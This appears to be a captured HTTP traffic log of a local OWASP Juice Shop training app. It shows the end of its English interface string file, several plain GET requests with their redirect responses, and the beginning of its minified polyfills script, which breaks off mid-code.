"Track Orders",\n "LABEL_ORDER_ID": "Order ID",\n "BTN_TRACK": "Track",\n "LAST_LOGIN_IP": "Last Login IP",\n "BTN_EDIT": "Edit",\n "INVALID_DATE": "Please provide a valid date.",\n "SECURITY_ANSWER_PLACEHOLDER": "Answer to your security question",\n "MANDATORY_ORDER_ID": "Please provide an Order ID.",\n "BTN_SHOW_SOLVED": "Show solved",\n "TITLE_TWO_FACTOR_AUTH_ENTER": "Enter the 6 digit token from your 2FA app",\n "LABEL_TWO_FACTOR_AUTH_TOKEN": "2FA Token",\n "CONFIRM_2FA_SETUP": "Setup of Two-Factor Authentication successfully completed.",\n "CONFIRM_2FA_DISABLE": "Two-Factor Authentication has been removed.",\n "INVALID_TWO_FACTOR_AUTH_TOKEN": "The token appears to be invalid.",\n "UNAUTHORIZED_PAGE_ACCESS_ERROR": "You are not allowed to access this page!",\n "TITLE_PRIVACY_POLICY": "Privacy Policy",\n "TITLE_TWO_FACTOR_AUTHENTICATION": "Two Factor Authentication",\n "TITLE_REQUEST_DATA_EXPORT": "Request Data Export",\n "PRIVACY_AND_SECURITY": "Privacy & Security",\n "MENU": "Menu",\n "LABEL_OR": "or",\n "COMPANY": "Company",\n "ADD_BASKET": "Add to Basket",\n "BTN_SHOW_ALL": "Show all",\n "BTN_SHOW_UNAVAILABLE": "Show unavailable",\n "INFO_DISABLED_CHALLENGES": "{{num}} challenges are unavailable on {{env}} due to <a href=\'https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_potentially_dangerous_challenges\'>security concerns</a> or technical incompatibility!",\n "SHOW_DISABLED_CHALLENGES": "Show them anyways",\n "HIDE_DISABLED_CHALLENGES": "Hide disabled challenges",\n "BTN_HIDE_ALL": "Hide all",\n "TYPE_THESE_LETTERS": "Type these {{length}} letters",\n "BTN_REQUEST": "Request",\n "EXPORT_LABEL": "Export Format",\n "ACCOUNT": "Account",\n "TITLE_TWO_FACTOR_AUTH_CONFIG": "2FA Configuration",\n "LABEL_CONFIRM_CURRENT_PASSWORD": "Confirm your current password",\n "LABEL_INITIAL_2FA_TOKEN": "Initial token from your authenticator",\n "INITIAL_CODE": "Initial Token",\n "INITIAL_TOKEN_TOOLTIP": "The token to be entered from the authenticator must have 6 digits.",\n "2FA_ENTER_CODE_PLACEHOLDER": "Please enter your 2FA token",\n "INITIAL_CODE_PLACEHOLDER": "Please enter your initial token",\n "2FA_AUTH_SETUP_INSTRUCTIONS": "Secure your account with an additional factor. Scan the QR code into an authenticator app supporting TOTP (e.g. Google Authenticator) to get started.",\n "2FA_SETUP_ERROR": "Failed to change 2FA setup. Check if you entered your password (and token) correctly.",\n "2FA_SUCCESSFUL_SETUP": "You have enabled 2FA for your account. Thank you for taking the time to keep your juices safe!",\n "REMOVE_TWO_FACTOR_AUTH": "Remove 2FA from your account",\n "BTN_REMOVE": "Remove",\n "MANDATORY_REVIEW": "Please provide a review text.",\n "WRITE_REVIEW": "Write a review",\n "WRITE_REVIEW_PLACEHOLDER": "What did you like or dislike?",\n "EMPTY_REVIEW_LIST": "There is no review for this product yet.",\n "EMPTY_SEARCH_RESULT": "Try adjusting your search to find what you\'re looking for.",\n "NO_SEARCH_RESULT": "No results found",\n "DATA_SUBJECT_TITLE": "Request Data Erasure",\n "GDPR_HEADING": "Data Erasure Request (Art. 17 GDPR)",\n "GDPR_MESSAGE": "We take data security, customer privacy, and legal compliance very serious. In accordance with GDPR we allow you to request complete erasure of your account and any associated data.",\n "DELETE_DATA_LABEL": "Delete User Data",\n "ADD_NEW_ADDRESS": "Add New Address",\n "LABEL_COUNTRY": "Country",\n "LABEL_MOBILE_NUMBER": "Mobile Number",\n "LABEL_ZIP_CODE": "ZIP Code",\n "LABEL_CITY": "City",\n "LABEL_STATE": "State",\n "STATE_PLACEHOLDER": "Please provide a state.",\n "LABEL_GO_BACK": "Go Back",\n "LABEL_BACK": "Back",\n "TITLE_SELECT_ADDRESS": "Select an address",\n "USE_THIS_ADDRESS": "Use this address",\n "BTN_DELETE": "Delete",\n "MANDATORY_COUNTRY": "Please provide a country.",\n "MANDATORY_NAME": "Please provide a name.",\n "MANDATORY_NUMBER": "Please provide a mobile number.",\n "MANDATORY_ZIP": "Please provide a ZIP code.",\n "MANDATORY_CITY": "Please provide a city.",\n "INVALID_MOBILE_NUMBER": "Mobile number must match {{range}} format.",\n "UNAUTHORIZED_ACCESS_ERROR": "Please login to view this page.",\n "SEARCH_PROCESSING": "Searching for products",\n "STOCK": "Stock",\n "UNITS": "units",\n "ACCOUNTING": "Accounting",\n "CONFIRM_ERASURE_REQUEST": "Sorry to see you leave! Your erasure request will be processed shortly.",\n "INFO_HACKING_INSTRUCTOR": "Start an interactive hacking tutorial for this challenge.",\n "SCORE_BOARD_HACKING_INSTRUCTOR": "Launch a tutorial to get you started hacking the Juice Shop.",\n "BTN_GETTING_STARTED": "Help getting started",\n "BTN_DISMISS": "Dismiss",\n "SIDENAV_HINT": "Open side menu",\n "LANGUAGE_SEL_HINT": "Choose language",\n "PLACE_ORDER_AND_PAY": "Place your order and pay",\n "ORDER_SUMMARY": "Order Summary",\n "ITEMS": "Items",\n "DELIVERY": "Delivery",\n "PROMOTION": "Promotion",\n "MY_SAVED_ADRESSES": "My saved addresses",\n "BTN_HIDE": "Hide",\n "YOUR_SAVED_CARDS": "Your saved cards",\n "LABEL_CARD_NUMBER": "Card Number",\n "LABEL_EXPIRES_ON": "Expires On",\n "ADD_NEW_CARD": "Add new card",\n "ADD_NEW_CARD_DESCRIPTION": "Add a credit or debit card",\n "ADD_A_COUPON": "Add a coupon",\n "OTHER_PAYMENT_OPTIONS": "Other payment options",\n "VOUCHERS_AND_PROMOTIONAL_CODE": "Add a coupon code to receive discounts",\n "LABEL_EXPIRY_MONTH": "Expiry Month",\n "LABEL_EXPIRY_YEAR": "Expiry Year",\n "MANDATORY_CARD_NUMBER": "Please enter your card number.",\n "MANDATORY_EXPIRY_MONTH": "Please enter an expiry month.",\n "MANDATORY_EXPIRY_YEAR": "Please enter an expiry year.",\n "VALID_CARD_NUMBER": "Please enter a valid sixteen digit card number.",\n "LABEL_CONTINUE": "Continue",\n "REVIEW_ALERT": "You can review this order before it is finalized.",\n "MY_PAYMENT_OPTIONS": "My Payment Options",\n "BTN_SAVE": "Save",\n "LABEL_RESULT": "Result",\n "IP_ADDRESS": "IP Address",\n "WRITE_MESSAGE_PLACEHOLDER": "What would you like to tell us?",\n "SHOW_PWD_TOOLTIP": "Show password",\n "HIDE_PWD_TOOLTIP": "Hide password",\n "DATA_EXPORT_HINT": "(Your data export will open in a new Browser window.)",\n "LABEL_SOLD_OUT": "Sold Out",\n "LABEL_ONLY_QUANTITY_LEFT": "Only {{quantity}} left",\n "THANKS_FOR_PURCHASE": "Thank you for your purchase!",\n "PURCHASE_COMMENT_PREFIX": "Your order has been placed and is being processed. You can check for status updates on our",\n "PURCHASE_COMMENT_SUFFIX": "page.",\n "BONUS_POINTS_COUNT": "You have gained {{bonus}} Bonus Points from this order!",\n "ESTIMATED_TIME_OF_DELIVERY": "Your order will be delivered in {{numberdays}} days.",\n "PRINT_ORDER_CONFIRMATION": "Print Order Confirmation",\n "DIGITAL_WALLET": "Digital Wallet",\n "LABEL_ADD_MONEY": "Add Money",\n "LABEL_WALLET_BALANCE": "Wallet Balance",\n "MANDATORY_AMOUNT": "Please enter an amount",\n "LABEL_AMOUNT": "Amount",\n "AMOUNT_LIMIT": "You can add a minimum of 10\xc2\xa4 and only up to 1000\xc2\xa4.",\n "LABEL_CHOOSE_A_DELIVERY_SPEED": "Choose a delivery speed",\n "CARD_ENDING_IN": "Card ending in",\n "CARD_HOLDER": "Card Holder",\n "PAYMENT_METHOD": "Payment Method",\n "PHONE_NUMBER": "Phone Number",\n "LABEL_ORDER_HISTORY": "Order History",\n "LABEL_IN_TRANSIT": "In Transit",\n "LABEL_DELIVERED": "Delivered",\n "LABEL_TRACK_ORDER": "Track Order",\n "NO_ORDERS_PLACED": "You have not placed any orders yet.",\n "LABEL_MARK_AS_DELIVERED": "Mark as delivered",\n "LABEL_MARK_AS_TRANSIT": "Mark as in transit",\n "LABEL_PHOTO_WALL": "Photo Wall",\n "LABEL_SHARE_A_MEMORY": "Share a memory",\n "MANDATORY_CAPTION": "Please enter a caption",\n "LABEL_CAPTION": "Caption",\n "LABEL_PICK_IMAGE": "Pick image",\n "IMAGE_UPLOAD_SUCCESS": "Your image was successfully uploaded.",\n "EMPTY_MEMORY_LIST": "No memories have been shared yet.",\n "LABEL_DELUXE_MEMBERSHIP": "Deluxe Membership",\n "DESCRIPTION_DELUXE_MEMBERSHIP": "Enjoy amazing benefits as a deluxe customer of {{appname}}. Check out what is included with your membership.",\n "LABEL_BECOME_MEMBER": "Become a member",\n "LABEL_DEALS_OFFERS": "Deals and Offers",\n "DESCRIPTION_DEALS_OFFERS": "As a deluxe member, you get access to exclusive deals and irresistible offers.",\n "LABEL_FREE_FAST_DELIVERY": "Free Fast Delivery",\n "DESCRIPTION_FREE_FAST_DELIVERY": "Get unlimited free Fast Delivery for all products in the shop.",\n "LABEL_UNLIMITED_PURCHASE": "Unlimited Purchase",\n "DESCRIPTION_UNLIMITED_PURCHASE": "Enjoy unrestricted purchase of your favourite products.",\n "LABEL_PAY_USING_WALLET": "Pay using wallet",\n "LABEL_PAY": "Pay",\n "LABEL_ADD": "Add",\n "REVIEW_WALLET": "You will be redirected back to your wallet.",\n "ORDERS_AND_PAYMENT": "Orders & Payment",\n "ADDRESS_REMOVED": "Your address has been removed.",\n "ADDRESS_UPDATED": "The address at {{city}} has been successfully updated.",\n "ADDRESS_ADDED": "The address at {{city}} has been successfully added to your addresses.",\n "PASSWORD_SUCCESSFULLY_CHANGED": "Your password was successfully changed.",\n "CUSTOMER_SUPPORT_COMPLAINT_REPLY": "Customer support will get in touch with you soon! Your complaint reference is #{{ref}}",\n "FEEDBACK_FIVE_STAR_THANK_YOU": "Thank you so much for your amazing 5-star feedback!",\n "FEEDBACK_THANK_YOU": "Thank you for your feedback.",\n "CREDIT_CARD_SAVED": "Your card ending with {{cardnumber}} has been saved for your convenience.",\n "CONFIRM_REVIEW_SAVED": "You review has been saved.",\n "CONFIRM_CHANGES_SAVED": "Your changes have been saved.",\n "CONFIRM_RECYCLING_BOX": "Thank you for using our eco-friendly recycling self-service. We will send you a pomace recycling box asap.",\n "CONFIRM_RECYCLING_PICKUP": "Thank you for using our convenient recycling service. We will pick up your pomace on {{pickupdate}}.",\n "CHALLENGE_UNAVAILABLE": "This challenge is unavailable in a {{env}} environment!",\n "CLICK_FOR_MORE_HINTS": "Click for more hints.",\n "CLICK_TO_OPEN_HINTS": "Click to open hints.",\n "BONUS_POINTS_EARNED": "Bonus Points Earned: {{bonus}}",\n "BONUS_FOR_FUTURE_PURCHASES": "The bonus points from this order will be <em>added 1:1 to your wallet \xc2\xa4-fund</em> for future purchases!",\n "ENTER_COUPON_CODE": "Please enter your coupon code",\n "COUPON_CODE_HINT": "Coupon code must be 10 characters long.",\n "CHARGED_WALLET": "Wallet successfully charged.",\n "BTN_SHOW_ONLY_TUTORIALS": "Show tutorials only",\n "INFO_FULL_CHALLENGE_MODE": "Complete the remaining tutorial challenges to unveil all {{num}} challenges and unlock the advanced Score Board filters!",\n "INFO_NEXT_TUTORIAL_TIER": "Complete the {{tier}} tutorial challenges to unveil the next difficulty tier!",\n "SHOW_COMMENT": "Show Comment",\n "INFO_VULNERABILITY_MITIGATION_LINK": "Click to learn how to avoid or mitigate similar vulnerabilities!",\n "BACKUP_HEADLINE": "File Based Backups",\n "BTN_SAVE_BACKUP": "Save Backup",\n "SAVE_BACKUP_TOOLTIP": "Save challenge progress and application settings to file.",\n "BTN_RESTORE_BACKUP": "Restore Backup",\n "RESTORE_BACKUP_TOOLTIP": "Restore challenge progress and application settings from file.",\n "TAG_DANGER_ZONE": "Danger Zone",\n "TAG_DANGER_ZONE_DESCRIPTION": "Marks potentially dangerous challenges which are disabled on Docker/Heroku/Gitpod by default due to RCE or other risks.",\n "TAG_GOOD_FOR_DEMOS": "Good for Demos",\n "TAG_GOOD_FOR_DEMOS_DESCRIPTION": "Highlights challenges which are suitable for live demos or awareness trainings.",\n "TAG_PREREQUISITE": "Prerequisite",\n "TAG_PREREQUISITE_DESCRIPTION": "Marks challenges which need to be solved before one or more other challenges can be (realistically) solved.",\n "TAG_OSINT": "OSINT",\n "TAG_OSINT_DESCRIPTION": "Marks challenges which require some Internet research or \\"social stalking\\" activity outside the application.",\n "TAG_CONTRAPTION": "Contraption",\n "TAG_CONTRAPTION_DESCRIPTION": "Indicates that a challenge is not exactly part of a realistic scenario but might be a bit forced or crafted.",\n "TAG_SHENANIGANS": "Shenanigans",\n "TAG_SHENANIGANS_DESCRIPTION": "Marks challenges which are not considered serious and/or realistic but exist more for entertainment.",\n "TAG_TUTORIAL": "Tutorial",\n "TAG_TUTORIAL_DESCRIPTION": "Marks challenges for which a Hacking Instructor script exists to assist newcomers.",\n "TAG_BRUTE_FORCE": "Brute Force",\n "TAG_BRUTE_FORCE_DESCRIPTION": "Marks challenges where automation of some security tool or custom script is an option or even prerequisite.",\n "TAG_GOOD_PRACTICE": "Good Practice",\n "TAG_GOOD_PRACTICE_DESCRIPTION": "Highlights challenges which are less about vulnerabilities but promoting good (security) practices.",\n "TAG_CODE_ANALYSIS": "Code Analysis",\n "TAG_CODE_ANALYSIS_DESCRIPTION": "Marks challenges where it can be helpful to rummage through some source code of the application or a third party.",\n "TAG_WEB3": "Web3",\n "TAG_WEB3_DESCRIPTION": "Marks challenges which incorporate Web3 concepts or technology such as Blockchain, Crypto Currency, Smart Contracts, or NFT.",\n "TAG_INTERNET_TRAFFIC": "Internet Traffic",\n "TAG_INTERNET_TRAFFIC_DESCRIPTION": "Marks challenges strictly depending on the server being able to connect with the Internet via e.g. WebSocket or JSON-RPC.",\n "CATEGORY_BROKEN_ACCESS_CONTROL": "Broken Access Control",\n "CATEGORY_BROKEN_ANTI_AUTOMATION": "Broken Anti Automation",\n "CATEGORY_BROKEN_AUTHENTICATION": "Broken Authentication",\n "CATEGORY_CRYPTOGRAPHIC_ISSUES": "Cryptographic Issues",\n "CATEGORY_IMPROPER_INPUT_VALIDATION": "Improper Input Validation",\n "CATEGORY_INJECTION": "Injection",\n "CATEGORY_INSECURE_DESERIALIZATION": "Insecure Deserialization",\n "CATEGORY_MISCELLANEOUS": "Miscellaneous",\n "CATEGORY_SECURITY_MISCONFIGURATION": "Security Misconfiguration",\n "CATEGORY_SECURITY_THROUGH_OBSCURITY": "Security through Obscurity",\n "CATEGORY_SENSITIVE_DATA_EXPOSURE": "Sensitive Data Exposure",\n "CATEGORY_UNVALIDATED_REDIRECTS": "Unvalidated Redirects",\n "CATEGORY_VULNERABLE_COMPONENTS": "Vulnerable Components",\n "CATEGORY_XSS": "XSS",\n "CATEGORY_XXE": "XXE",\n "CATEGORY_BROKEN_ACCESS_CONTROL_DESCRIPTION": "Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users\xe2\x80\x99 accounts, view sensitive files, modify other users\xe2\x80\x99 data, change access rights, etc.",\n "CATEGORY_BROKEN_ANTI_AUTOMATION_DESCRIPTION": "Quite often, APIs do not impose any restrictions on the size or number of resources that can be requested by the client/user. Not only can this impact the API server performance, leading to Denial of Service (DoS), but also leaves the door open to authentication flaws such as brute force.",\n "CATEGORY_BROKEN_AUTHENTICATION_DESCRIPTION": "Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users\xe2\x80\x99 identities temporarily or permanently.",\n "CATEGORY_CRYPTOGRAPHIC_ISSUES_DESCRIPTION": "A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources. The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.",\n "CATEGORY_IMPROPER_INPUT_VALIDATION_DESCRIPTION": "When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.",\n "CATEGORY_INJECTION_DESCRIPTION": "Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker\xe2\x80\x99s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.",\n "CATEGORY_INSECURE_DESERIALIZATION_DESCRIPTION": "Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.",\n "CATEGORY_MISCELLANEOUS_DESCRIPTION": "Everything that does not match any of the other vulnerability categories or would not even be considered a security issue in a real world scenario.",\n "CATEGORY_SECURITY_MISCONFIGURATION_DESCRIPTION": "Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.",\n "CATEGORY_SECURITY_THROUGH_OBSCURITY_DESCRIPTION": "The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.",\n "CATEGORY_SENSITIVE_DATA_EXPOSURE_DESCRIPTION": "Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.",\n "CATEGORY_UNVALIDATED_REDIRECTS_DESCRIPTION": "Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.",\n "CATEGORY_VULNERABLE_COMPONENTS_DESCRIPTION": "Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.",\n "CATEGORY_XSS_DESCRIPTION": "Cross-Site Scripting (XSS) flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim\xe2\x80\x99s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.",\n "CATEGORY_XXE_DESCRIPTION": "Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.",\n "INSUFFICIENT_WALLET_BALANCE": "Insufficient wallet balance.",\n "LAUNCH_CODING_CHALLENGE": "Launch associated coding challenge.",\n "LOADING_CODE_SNIPPET": "Loading code snippet...",\n "SOLVE_HACKING_CHALLENGE": "Solve the hacking challenge to unlock the associated coding challenge.",\n "LABEL_CORRECT_FIX": "Correct Fix",\n "TITLE_CODING_CHALLENGE": "Coding Challenge",\n "TAB_FIND_IT": "Find It",\n "TAB_FIX_IT": "Fix It",\n "TITLE_CODING_SCORE": "Coding Score",\n "TITLE_CODING_CHALLENGES": "Coding Challenges",\n "TITLE_HACKING_CHALLENGES": "Hacking Challenges",\n "TITLE_CHALLENGES_SOLVED": "Challenges Solved",\n "LABEL_FEEDBACK": "Feedback",\n "LABEL_RESET_ALL_FILTERS": "Reset All Filters",\n "NO_CHALLENGES_FOUND": "No challenges found matching your filters!",\n "SCORE_BOARD_LEGACY_NOTICE_NO_CONTACT": "This is the new Score Board! It might still contain some bugs.",\n "SCORE_BOARD_LEGACY_NOTICE_WITH_CONTACT": "This is the new Score Board! If you notice any bugs or have any feedback, please let us know! Reach out via our <a href=\'https://owasp.org/www-project-juice-shop/\' target=\'_blank\' rel=\'noopener noreferrer\'>community channels</a>",\n "SCORE_BOARD_LEGACY_BACK": "Switch to the legacy Score Board",\n "SCORE_BOARD_LEGACY_CATCH_LINE": "This is the legacy Score Board! It will be removed with an upcoming major release.",\n "SCORE_BOARD_LEGACY_ACTION_BUTTON": "Switch to the new Score Board",\n "SCOREBOARD_ADDITIONAL_SETTINGS": "Additional Score Board Settings",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_NAME": "Default Score Board",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_DESCRIPTION": "Choose Score Board version to be linked in the sidebar",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_OLD": "Legacy Score Board",\n "FEATURE_FLAG_DEFAULT_SCORE_BOARD_VALUE_NEW": "New Score Board",\n "LINK_TRY_OUT_NEW_CRYPTO_WALLET": "Try out our new Crypto Wallet",\n "TITLE_CRYPTO_WALLET": "Crypto Wallet",\n "BTN_CONNECT_METAMASK": "Connect your MetaMask",\n "BTN_DEPOSIT": "Deposit",\n "BTN_WITHDRAW": "Withdraw",\n "ENTER_ETHER_AMOUNT": "Enter ether amount to deposit/withdraw",\n "PLEASE_INSTALL_WEB3_WALLET": "Please install a Web3 wallet like MetaMask to proceed.",\n "PLEASE_CONNECT_TO_SEPOLIA_NETWORK": "Please connect to the Sepolia Network.",\n "PLEASE_CONNECT_WEB3_WALLET": "Please connect your Web3 wallet first.",\n "TITLE_CONTRACT_EDITOR": "Contract Editor",\n "TITLE_WEB3_SANDBOX": "Web3 Code Sandbox",\n "EXPLANATION_SMART_CONTRACT_DEPLOYMENT": "Easily compile/deploy and invoke smart contracts from below",\n "EXPLANATION_GWEI_VALUE_POST_COMPILATION": "You can pass ETH to the contract both while invoking/deploying by entering the GWEI Value post compilation",\n "LABEL_SELECT_COMPILER_VERSION": "Select compiler version",\n "BTN_COMPILE_CONTRACT": "Compile Contract",\n "TITLE_CONTRACT_DEPLOYMENT": "Contract to deploy",\n "LABEL_COMPILED_CONTRACTS": "Compiled Contracts",\n "GWEI_VALUE_FOR_SENDING_ETH": "GWEI value for sending ETH",\n "BTN_DEPLOY_SELECTED_CONTRACT": "Deploy selected Contract",\n "LABEL_CONTRACT_ADDRESS": "Contract Address",\n "TITLE_INTERACT_WITH_CONTRACT": "Interact with Contract",\n "BTN_INVOKE": "Invoke",\n "LABEL_OUTPUT_FOR": "Output for",\n "LABEL_OUTPUT": "Output",\n "TITLE_SBT": "Juicy Chatbot SBT",\n "BTN_SBT_NOTE": "Note: Never reveal your personal private keys and seed phrase to anyone",\n "LABEL_PRIVATE_KEY": "Enter Private Key",\n "BTN_AUTHENTICATE": "Authenticate",\n "LABEL_ACCOUNT_ADDRESS": "Account Address",\n "OWNED_BY": "Owned by",\n "NFT_SBT_BOX_TEXT": "Hurray! Find the Juice Shop SBT on {{link}}. This is a non-transferable token and is here to stay forever.",\n "FAUCET_BALANCE": "Faucet Balance",\n "BEE_BALANCE": "Your BEE Balance",\n "TITLE_BEE_HAVEN": "BEE Haven",\n "BEE_HAVEN_INTRO": "Welcome to Bee Haven, the hive of BEE tokens! Immerse yourself in the buzz as our generous Bee Owner shares the joy of bees with you. Embrace their bountiful generosity, but remember, taking too many bees at once may disrupt their harmonious abode.",\n "LABEL_NUMBER_OF_BEES": "Enter no. of BEEs:",\n "BTN_CLAIM_BEES": "Claim BEEs",\n "BEE_HONEYPOT_TITLE": "The Enchanted Honey Pot",\n "BEE_HONEYPOT_DESCRIPTION": "Deep within the magical realm, the Enchanted Honey Pot awaits its rightful owner. To unlock its wonders, you must trade the essence of the buzzing kingdom - BEE tokens. Gather these mystical tokens from the generous Bee Haven.",\n "NFT_MINT_TEXT_INTRO": "Mint the Pot - 1000 BEE",\n "NFT_MINT_TEXT_SUCCESS": "Minted Successfully",\n "NFT_MINT_TEXT_AWAITING_APPROVAL": "Awaiting Approval",\n "NFT_MINT_TEXT_CONFIRM": "Confirm Mint...",\n "NFT_MINT_TEXT_IN_PROGRESS": "Mint in Process..."\n}\n'
GET http://localhost:3000/assets/public/images HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 207\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/public/images/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/public/images/">/assets/public/images/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/assets/public/images/products HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 301 Moved Permanently\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: 225\r\nContent-Security-Policy: default-src 'none'\r\nLocation: /assets/public/images/products/\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n" b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="utf-8">\n<title>Redirecting</title>\n</head>\n<body>\n<pre>Redirecting to <a href="/assets/public/images/products/">/assets/public/images/products/</a></pre>\n</body>\n</html>\n'
GET http://localhost:3000/polyfills.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"d4e9-18df12a3c67"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[429],{7435:(o,h,t)=>{t(2722),t(7181),window.global=window},7181:()=>{!function(n){const c=n.performance;function v(rt){c&&c.mark&&c.mark(rt)}function f(rt,M){c&&c.measure&&c.measure(rt,M)}v("Zone");const y=n.__Zone_symbol_prefix||"__zone_symbol__";function b(rt){return y+rt}const A=!0===n[b("forceDuplicateZoneCheck")];if(n.Zone){if(A||"function"!=typeof n.Zone.__symbol__)throw new Error("Zone already loaded.");return n.Zone}let k=(()=>{class rt{constructor(r,l){this._parent=r,this._name=l?l.name||"unnamed":"<root>",this._properties=l&&l.properties||{},this._zoneDelegate=new U(this,this._parent&&this._parent._zoneDelegate,l)}static assertZonePatched(){if(n.Promise!==Ct.ZoneAwarePromise)throw new Error("Zone.js has detected that ZoneAwarePromise `(window|global).Promise` has been overwritten.\\nMost likely cause is that a Promise polyfill has been loaded after Zone.js (Polyfilling Promise api is not necessary when zone.js is loaded. If you must load one, do so before loading zone.js.)")}static get root(){let r=rt.current;for(;r.parent;)r=r.parent;return r}static get current(){return dt.zone}static get currentTask(){return xt}static __load_patch(r,l,H=!1){if(Ct.hasOwnProperty(r)){if(!H&&A)throw Error("Already loaded patch: "+r)}else if(!n["__Zone_disable_"+r]){const J="Zone:"+r;v(J),Ct[r]=l(n,rt,Et),f(J,J)}}get parent(){return this._parent}get name(){return this._name}get(r){const l=this.getZoneWith(r);if(l)return l._properties[r]}getZoneWith(r){let l=this;for(;l;){if(l._properties.hasOwnProperty(r))return l;l=l._parent}return null}fork(r){if(!r)throw new Error("ZoneSpec required!");return this._zoneDelegate.fork(this,r)}wrap(r,l){if("function"!=typeof r)throw new Error("Expecting function got: "+r);const H=this._zoneDelegate.intercept(this,r,l),J=this;return function(){return J.runGuarded(H,this,arguments,l)}}run(r,l,H,J){dt={parent:dt,zone:this};try{return this._zoneDelegate.invoke(this,r,l,H,J)}finally{dt=dt.parent}}runGuarded(r,l=null,H,J){dt={parent:dt,zone:this};try{try{return this._zoneDelegate.invoke(this,r,l,H,J)}catch(Tt){if(this._zoneDelegate.handleError(this,Tt))throw Tt}}finally{dt=dt.parent}}runTask(r,l,H){if(r.zone!=this)throw new Error("A task can only be run in the zone of creation! (Creation: "+(r.zone||gt).name+"; Execution: "+this.name+")");if(r.state===ct&&(r.type===bt||r.type===W))return;const 